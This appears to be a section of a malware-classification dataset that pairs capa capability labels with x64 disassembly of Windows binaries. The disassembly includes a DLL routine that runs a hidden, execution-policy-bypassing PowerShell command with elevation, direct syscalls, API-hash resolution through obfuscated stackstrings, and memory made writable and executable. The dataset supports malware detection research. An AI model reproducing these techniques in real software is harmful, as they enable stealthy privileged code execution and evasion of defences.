joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400b9e70
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x3f80]
mov eax, 0x4080
call fcn.1400c3620
sub rsp, rax
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x4090], rbx
mov qword [rsp + 0x4098], rsi
mov qword [rsp + 0x40a0], rdi
mov rax, qword [0x140150010]
xor rax, rsp
mov qword [rbp + 0x3f70], rax
xor eax, eax
mov qword [rsp + 0x50], rax
xor ebx, ebx
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov qword [rsp + 0x58], rbx
call fcn.140004f00
mov rcx, rax
test rax, rax
je 0x1400ba0b4
mov rax, qword [rax]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
add rax, 0x18
mov qword [rsp + 0x40], rax
lea rsi, [0x1400deef8]
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.1400046a0
lea rdi, [rbx - 1]
test al, al
jne 0x1400b9f2b
mov rax, rdi
nop
inc rax
cmp word [rsi + rax*2], 0
jne 0x1400b9f10
mov r8d, eax
mov rdx, rsi
lea rcx, [rsp + 0x40]
call fcn.140004940
nop
mov r9d, 0x20019
lea r8, str.SOFTWARERealtekWOV
mov rdx, 0xffffffff80000002
lea rcx, [rsp + 0x48]
call fcn.140026e20
mov rsi, qword [rsp + 0x48]
test eax, eax
jne 0x1400b9fac
mov dword [rsp + 0x38], 0x4000
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, str.VoiceAssistantApplication
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x1400b9fac
mov eax, dword [rsp + 0x60]
dec eax
cmp eax, 1
ja 0x1400b9fac
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x1400ba01b
test al, 1
jne 0x1400b9fac
shr rax, 1
cmp word [rsp + rax*2 + 0x6e], 0
je 0x1400ba020
test rsi, rsi
je 0x1400b9fbf
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x1400b9fe1
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
nop
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400b9ff1
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rbp + 0x3f70]
xor rcx, rsp
call fcn.1400ba610
lea r11, [rsp + 0x4080]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov word [rsp + 0x70], bx
lea rcx, [rsp + 0x70]
mov rax, rdi
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400ba030
mov r8d, eax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
call fcn.140004940
mov rdx, qword [rsp + 0x40]
lea r8, str.LenovoVoiceAssistant
mov rcx, rdi
nop dword [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x1400ba082
add rcx, 2
cmp rcx, 0x15
je 0x1400ba0b0
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x1400ba060
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1400b9fac
test rsi, rsi
je 0x1400ba0a2
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov qword [rsp + 0x48], rbx
mov dword [rsp + 0x50], ebx
mov ebx, 1
jmp 0x1400b9fc3
mov eax, ebx
jmp 0x1400ba087
mov ecx, 0x80004005
call fcn.140005030
int3
Function at 0x180002360
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x18000a008]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov rdi, rcx
cmp edx, 1
jne 0x18000252d
call fcn.1800046e0
lea rcx, str._C:Windows_System32_flag.log
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], 0x21
lea r8, [rsp + 0x50]
mov edx, eax
lea rcx, [rsp + 0x30]
call fcn.180001910
nop
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 8
cmovae rcx, qword [rsp + 0x30]
mov r9d, 0xffffffff
mov r8d, 3
lea rdx, [rsp + 0x60]
call fcn.18000481c
mov edx, eax
test eax, eax
jne 0x180002423
mov ecx, dword [rsp + 0x70]
bt ecx, 0xa
jae 0x180002418
mov eax, dword [rsp + 0x74]
cmp eax, 0xa000000c
jne 0x18000240a
lea ecx, [rdx + 4]
jmp 0x180002440
cmp eax, 0xa0000003
jne 0x180002418
mov ecx, 0xa
jmp 0x180002440
and ecx, 0x10
or ecx, 0x20
shr ecx, 4
jmp 0x180002440
sub eax, 2
je 0x18000243b
sub eax, 1
je 0x18000243b
sub eax, 0x32
je 0x18000243b
cmp eax, 0x46
je 0x18000243b
xor ecx, ecx
jmp 0x180002440
mov ecx, 1
mov dword [rsp + 0x50], edx
lea rax, [0x18000a038]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
test ecx, ecx
je 0x1800024a5
cmp ecx, 1
sete bl
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x1800024b6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800024b1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800024b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov bl, 1
test edx, edx
jne 0x180002556
jmp 0x180002465
call fcn.180004b80
test bl, bl
je 0x180002524
mov edx, 1
lea rcx, str.powershell__NoProfile__ExecutionPolicy_bypass__windowstyle_hidden__Command__Start_Process__verb_runas_C:Windows_System32_taskhost.exe_
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x80]
call fcn.180003260
nop
lea rcx, [rbp - 0x80]
call fcn.180003b90
lea rcx, [rbp - 0x78]
call fcn.1800037b0
test rax, rax
jne 0x18000251b
mov rax, qword [rbp - 0x80]
movsxd rdx, dword [rax + 4]
lea rcx, [rbp - 0x80]
add rcx, rdx
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x80]
call fcn.180002570
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, 1
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.180004b60
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
call fcn.180002300
int3
Function at 0x1800029d0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r14, rdx
mov rdi, rcx
je 0x180002a07
mov rbx, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rsi
mov rsi, rbx
mov r9, qword [rax]
test r9, r9
je 0x180002a28
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x180002a2a
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x180002a83
test ecx, ecx
jle 0x180002a63
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
sub rbx, rbp
add r14, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x180002a83
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x180002a83
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov rbp, qword [rsp + 0x30]
sub rsi, rbx
mov rbx, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x180002ab0
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180002ad2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x180002ae8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180002b04
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180002b06
xor ecx, ecx
mov qword [rsp + 0x20], rdi
movsxd rax, ecx
test ecx, ecx
je 0x180002b40
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
sub rbx, rdi
add r14, rdi
mov r8, rbx
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180002be7
mov r9, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r9], rax
jne 0x180002b7b
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x180002bc1
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
add r14, rax
mov rdi, rbx
cmp rax, 0xfff
jne 0x180002c00
cmp rbx, rax
ja 0x180002b90
mov r8, rdi
test rdi, rdi
je 0x180002be7
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r8, rdi
sub r8, rax
sub rbp, r8
mov rdi, qword [rsp + 0x20]
mov rax, rbp
mov rbx, qword [rsp + 0x28]
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
sub rbp, rbx
jmp 0x180002bea
Function at 0x180003010
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x18000a008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x18000303d
xor eax, eax
jmp 0x180003192
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x180003068
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x180003068
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x180003192
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x180003185
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x1800030ab
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1800030d6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18000318a
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180003145
sub eax, 1
je 0x180003145
cmp eax, 2
jne 0x180003185
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x18000318a
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x180003173
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x180003185
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov eax, edi
jne 0x18000318a
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.180004b60
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1800036c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x18000a008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x180003793
cmp byte [rcx + 0x71], 0
je 0x180003793
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x18000378f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x180003754
sub eax, 1
je 0x180003758
cmp eax, 2
jne 0x18000378f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180004b60
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x180003786
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x18000378f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x18000373c
xor al, al
jmp 0x18000373c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180004b60
add rsp, 0x60
pop rbx
ret
Function at 0x140003ed0
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003f04
cmp word [rcx], 0x5a4d
jne 0x140003f04
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003f04
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003f04
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003e10
test eax, eax
jne 0x140003f20
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003e80
test rax, rax
je 0x140003f15
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.1400046c6
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x1400045d0
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004570
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004a24
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14098cb18]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14098cb14]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004a72
mov rdx, qword [rax]
cmp r12, rdx
jb 0x140004a6a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004b59
inc ebx
add rax, 0x28
jmp 0x140004a4a
mov rcx, r12
call fcn.140005251
mov rbp, rax
test rax, rax
jne 0x140004a91
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.1400049c0
movsxd rbx, ebx
mov rax, qword [0x14098cb18]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.1400052ff
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14098cb18]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004af3
mov rax, qword [0x14098cb18]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400049c0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004b53
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004b53
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14098cb18]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004b53
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400049c0
inc dword [0x14098cb14]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004f80
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14098cb80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14098cb60]
test rbx, rbx
je 0x140004fcc
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004fc6
test eax, eax
jne 0x140004fc6
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004f9e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140005180
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400051a3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x1400051a3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400051a4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x1400051de
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x1400051d5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400051e0
inc r8d
add rax, 0x28
jmp 0x1400051bc
xor eax, eax
ret

Function at 0x140005251
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140987b30]
mov r8, rcx
mov rcx, r9
call fcn.140005180
test eax, eax
je 0x14000527d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.1400051a4
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400409a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x60], 0
je 0x1400409be
cmp qword [rsp + 0x68], 0
jne 0x1400409c5
xor eax, eax
jmp 0x140040af1
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov dword [rsp], 0
jmp 0x140040a66
mov eax, dword [rsp]
inc eax
mov dword [rsp], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x18]
cmp dword [rsp], eax
jae 0x140040aef
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x28]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
movzx edx, byte [rax]
cmp dl, byte [rax + rcx]
jne 0x140040aae
inc rax
test dl, dl
jne 0x140040a9b
xor eax, eax
jmp 0x140040ab3
sbb eax, eax
or eax, 1
test eax, eax
jne 0x140040aea
mov eax, dword [rsp]
mov rcx, qword [rsp + 0x38]
movzx eax, word [rcx + rax*2]
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
jmp 0x140040af1
jmp 0x140040a5e
xor eax, eax
add rsp, 0x58
ret
Function at 0x140003a20
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003a54
cmp word [rcx], 0x5a4d
jne 0x140003a54
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003a54
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a54
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003960
test eax, eax
jne 0x140003a70
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400039d0
test rax, rax
je 0x140003a65
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140004216
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret
Function at 0x140003e50
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov ebx, dword [0x14052f500]
test ebx, ebx
je 0x140003e80
mov eax, 1
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov dword [rsp + 0x24], 0xd08acaba
mov dword [rsp + 0x28], 0xd08a84b8
mov dword [rsp + 0x2c], 0x6426cda6
mov dword [rsp + 0x30], 0x64265688
mov dword [rsp + 0x34], 0x64265668
mov dword [rsp + 0x38], 0x6426566c
mov dword [rsp + 0x3c], 0x64265670
call fcn.140003e40
mov rax, qword [rax + 0x18]
mov rdx, qword [rax + 0x10]
mov rax, qword [rdx + 0x30]
test rax, rax
je 0x1400040b0
xor r10d, r10d
nop dword [rax]
mov ecx, dword [rsp + 0x30]
mov r8, rax
lea eax, [rcx - 0x6426564c]
mov eax, dword [r8 + rax]
mov eax, dword [r8 + rax + 0x88]
test eax, eax
je 0x140003f33
lea r10, [r8 + rax]
mov ecx, dword [rsp + 0x24]
mov eax, dword [r10 + 0xc]
sub ecx, 0x6426564c
add rax, r8
mov r9d, dword [rax]
or r9d, 0x20202020
cmp r9d, ecx
jne 0x140003f33
mov r9d, dword [rax + 4]
mov ecx, dword [rsp + 0x28]
or r9d, 0x20202020
lea eax, [rcx - 0x6426564c]
cmp r9d, eax
je 0x140003f3f
mov rdx, qword [rdx]
mov rax, qword [rdx + 0x30]
test rax, rax
jne 0x140003ed8
test r10, r10
je 0x1400040b0
mov eax, dword [rsp + 0x34]
mov edi, dword [r10 + 0x18]
sub eax, 0x6426564c
mov ebp, dword [rax + r10]
mov eax, dword [rsp + 0x38]
sub eax, 0x6426564c
add rbp, r8
mov r9d, dword [rax + r10]
mov eax, dword [rsp + 0x3c]
sub eax, 0x6426564c
add r9, r8
mov r11d, dword [rax + r10]
add r11, r8
test edi, edi
je 0x140004086
lea r13, [0x14052f504]
xor r10d, r10d
lea r12, [r13 - 4]
lea rsi, [r12 - 4]
jmp 0x140003fc1
add r10d, 1
add r9, 4
add r11, 2
cmp r10d, edi
jae 0x140004090
cmp ebx, 0x1f3
ja 0x140004090
mov edx, dword [r9]
mov eax, dword [rsp + 0x2c]
add rdx, r8
lea ecx, [rax - 0x6426564c]
movzx r14d, word [rdx]
cmp r14d, ecx
jne 0x140003fa0
cmp byte [rdx], 0
je 0x1400040a0
sub eax, 0x13b0d2ef
cmp byte [rdx + 1], 0
mov ecx, 1
mov r15d, 1
je 0x140004020
nop dword [rax]
movzx r15d, word [rdx + r15]
mov r14d, eax
ror r14d, 8
add eax, r15d
lea r15d, [rcx + 1]
add eax, r14d
cmp byte [rdx + r15], 0
mov rcx, r15
jne 0x140004000
mov edx, ebx
shl rdx, 3
lea rcx, [rdx + r13]
mov dword [rcx], eax
movzx eax, word [r11]
mov eax, dword [rbp + rax*4]
mov dword [rcx + 4], eax
test ebx, ebx
je 0x14000407e
lea eax, [rbx - 1]
add rdx, r12
lea rax, [r12 + rax*8 + 4]
jmp 0x140004076
movd xmm0, dword [rdx + 4]
movd xmm1, ecx
mov rcx, qword [rax]
sub rax, 8
sub rdx, 8
punpckldq xmm0, xmm1
mov qword [rdx + 0xc], rcx
movq qword [rax + 8], xmm0
cmp rsi, rax
je 0x14000407e
mov ecx, dword [rdx + 8]
cmp ecx, dword [rax + 4]
jb 0x140004050
add ebx, 1
jmp 0x140003fa0
xor ebx, ebx
